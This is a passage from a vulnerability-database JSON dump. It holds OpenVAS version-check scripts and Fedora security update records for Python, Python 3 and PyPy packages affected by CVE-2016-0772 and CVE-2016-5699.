script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2016-a0853405eb\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XAD3BXECNOALJ4IEV3T3HEJH47YSJC44\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC23\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC23\")\n{\n\n if ((res = isrpmvuln(pkg:\"python\", rpm:\"python~2.7.11~5.fc23\", rls:\"FC23\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:35:39", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2016-08-02T00:00:00", "id": "OPENVAS:1361412562310808856", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310808856", "type": "openvas", "title": "Fedora Update for python FEDORA-2016-e37f15a5f4", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for python FEDORA-2016-e37f15a5f4\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.808856\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-08-02 10:58:02 +0530 (Tue, 02 Aug 2016)\");\n script_cve_id(\"CVE-2016-0772\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for python FEDORA-2016-e37f15a5f4\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"python on Fedora 22\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2016-e37f15a5f4\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AXXMPLMJFZ3ZBYDXEWI32RSQ37FPO57D\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC22\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC22\")\n{\n\n if ((res = isrpmvuln(pkg:\"python\", rpm:\"python~2.7.10~10.fc22\", rls:\"FC22\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:35:14", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2016-07-10T00:00:00", "id": "OPENVAS:1361412562310808567", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310808567", "type": "openvas", "title": "Fedora Update for pypy FEDORA-2016-aae6bb9433", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for pypy FEDORA-2016-aae6bb9433\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.808567\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-07-10 07:19:59 +0200 (Sun, 10 Jul 2016)\");\n script_cve_id(\"CVE-2016-0772\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for pypy FEDORA-2016-aae6bb9433\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'pypy'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"pypy on Fedora 23\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2016-aae6bb9433\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7EJD6HVETG3BFRPBZV5BJWJYNATR4QYW\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC23\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC23\")\n{\n\n if ((res = isrpmvuln(pkg:\"pypy\", rpm:\"pypy~4.0.1~3.fc23\", rls:\"FC23\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:35:28", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2016-07-02T00:00:00", "id": "OPENVAS:1361412562310808528", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310808528", "type": "openvas", "title": "Fedora Update for python3 FEDORA-2016-105b80d1be", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for python3 FEDORA-2016-105b80d1be\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.808528\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-07-02 06:38:43 +0200 (Sat, 02 Jul 2016)\");\n script_cve_id(\"CVE-2016-0772\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for python3 FEDORA-2016-105b80d1be\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python3'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"python3 on Fedora 24\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2016-105b80d1be\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ML2DT7KXRWNL7UXBIJIYO5E3QVM5VG35\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC24\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC24\")\n{\n\n if ((res = isrpmvuln(pkg:\"python3\", rpm:\"python3~3.5.1~9.fc24\", rls:\"FC24\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:35:42", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2016-06-24T00:00:00", "id": "OPENVAS:1361412562310808481", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310808481", "type": "openvas", "title": "Fedora Update for python FEDORA-2016-2869023091", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for python FEDORA-2016-2869023091\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.808481\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-06-24 06:38:02 +0200 (Fri, 24 Jun 2016)\");\n script_cve_id(\"CVE-2016-0772\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for python FEDORA-2016-2869023091\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"python on Fedora 24\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2016-2869023091\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V7FN6DIPZC3IW3GDKID5PQ2ZRBWK3PZ2\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC24\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC24\")\n{\n\n if ((res = isrpmvuln(pkg:\"python\", rpm:\"python~2.7.11~6.fc24\", rls:\"FC24\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:35:21", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772", "CVE-2016-5699"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2016-08-02T00:00:00", "id": "OPENVAS:1361412562310808801", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310808801", "type": "openvas", "title": "Fedora Update for pypy3 FEDORA-2016-34ca5273e9", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for pypy3 FEDORA-2016-34ca5273e9\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.808801\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-08-02 10:56:57 +0530 (Tue, 02 Aug 2016)\");\n script_cve_id(\"CVE-2016-0772\", \"CVE-2016-5699\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for pypy3 FEDORA-2016-34ca5273e9\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'pypy3'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"pypy3 on Fedora 23\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2016-34ca5273e9\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4JCYMKJLQJAKBAA2SZDVUBWZZKKS7YRA\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC23\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC23\")\n{\n\n if ((res = isrpmvuln(pkg:\"pypy3\", rpm:\"pypy3~2.4.0~3.fc23\", rls:\"FC23\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:35:43", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772", "CVE-2016-5699"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2016-07-10T00:00:00", "id": "OPENVAS:1361412562310808544", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310808544", "type": "openvas", "title": "Fedora Update for python3 FEDORA-2016-ef784cf9f7", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for python3 FEDORA-2016-ef784cf9f7\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.808544\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-07-10 07:18:44 +0200 (Sun, 10 Jul 2016)\");\n script_cve_id(\"CVE-2016-5699\", \"CVE-2016-0772\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for python3 FEDORA-2016-ef784cf9f7\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python3'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"python3 on Fedora 23\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2016-ef784cf9f7\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KIS5XKBI6QHC7HF37VCI3WVCAH377LJA\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC23\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC23\")\n{\n\n if ((res = isrpmvuln(pkg:\"python3\", rpm:\"python3~3.4.3~9.fc23\", rls:\"FC23\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:35:31", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772", "CVE-2016-5699"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2016-07-10T00:00:00", "id": "OPENVAS:1361412562310808570", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310808570", "type": "openvas", "title": "Fedora Update for pypy3 FEDORA-2016-6c2b74bb96", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for pypy3 FEDORA-2016-6c2b74bb96\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.808570\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-07-10 07:20:46 +0200 (Sun, 10 Jul 2016)\");\n script_cve_id(\"CVE-2016-0772\", \"CVE-2016-5699\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for pypy3 FEDORA-2016-6c2b74bb96\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'pypy3'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"pypy3 on Fedora 24\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2016-6c2b74bb96\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/P3MG4BRLPZHTKOHU5EAVSP5JKIJA4HRH\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC24\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC24\")\n{\n\n if ((res = isrpmvuln(pkg:\"pypy3\", rpm:\"pypy3~2.4.0~6.fc24\", rls:\"FC24\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "fedora": [{"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772"], "description": "Python is an interpreted, interactive, object-oriented programming language often compared to Tcl, Perl, Scheme or Java. Python includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems (X11, Motif, Tk, Mac and MFC). Programmers can write new built-in modules for Python in C or C++. Python can be used as an extension language for applications that need a programmable interface. Note that documentation for Python is provided in the python-docs package. This package provides the \"python\" executable; most of the actual implementation is within the \"python-libs\" package. ", "modified": "2016-06-23T17:56:40", "published": "2016-06-23T17:56:40", "id": "FEDORA:99A466079738", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 24 Update: python-2.7.11-6.fc24", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772"], "description": "Python is an interpreted, interactive, object-oriented programming language often compared to Tcl, Perl, Scheme or Java. Python includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems (X11, Motif, Tk, Mac and MFC). Programmers can write new built-in modules for Python in C or C++. Python can be used as an extension language for applications that need a programmable interface. Note that documentation for Python is provided in the python-docs package. This package provides the \"python\" executable; most of the actual implementation is within the \"python-libs\" package. ", "modified": "2016-06-24T23:23:10", "published": "2016-06-24T23:23:10", "id": "FEDORA:8D61A604973B", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 23 Update: python-2.7.11-5.fc23", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772"], "description": "Python 3 is a new version of the language that is incompatible with the 2.x line of releases. The language is mostly the same, but many details, especi ally how built-in objects like dictionaries and strings work, have changed considerably, and a lot of deprecated features have finally been removed. ", "modified": "2016-06-30T21:34:29", "published": "2016-06-30T21:34:29", "id": "FEDORA:4C0A96021754", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 24 Update: python3-3.5.1-9.fc24", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772"], "description": "PyPy's implementation of Python, featuring a Just-In-Time compiler on some CPU architectures, and various optimized implementations of the standard types (strings, dictionaries, etc) This build of PyPy has JIT-compilation enabled. ", "modified": "2016-07-05T05:04:12", "published": "2016-07-05T05:04:12", "id": "FEDORA:0ED9D6087788", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 24 Update: pypy-5.0.1-3.fc24", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772"], "description": "PyPy's implementation of Python, featuring a Just-In-Time compiler on some CPU architectures, and various optimized implementations of the standard types (strings, dictionaries, etc) This build of PyPy has JIT-compilation enabled. ", "modified": "2016-07-05T08:26:45", "published": "2016-07-05T08:26:45", "id": "FEDORA:9DF1D605042E", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 23 Update: pypy-4.0.1-3.fc23", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772"], "description": "Python is an interpreted, interactive, object-oriented programming language often compared to Tcl, Perl, Scheme or Java. Python includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems (X11, Motif, Tk, Mac and MFC). Programmers can write new built-in modules for Python in C or C++. Python can be used as an extension language for applications that need a programmable interface. Note that documentation for Python is provided in the python-docs package. This package provides the \"python\" executable; most of the actual implementation is within the \"python-libs\" package. ", "modified": "2016-07-12T02:27:08", "published": "2016-07-12T02:27:08", "id": "FEDORA:E3D4760350F4", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 22 Update: python-2.7.10-10.fc22", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772"], "description": "Python 3 is a new version of the language that is incompatible with the 2.x line of releases. The language is mostly the same, but many details, especi ally how built-in objects like dictionaries and strings work, have changed considerably, and a lot of deprecated features have finally been removed. ", "modified": "2016-07-12T02:27:18", "published": "2016-07-12T02:27:18", "id": "FEDORA:EFD0F6060E90", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 22 Update: python3-3.4.2-8.fc22", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-5699"], 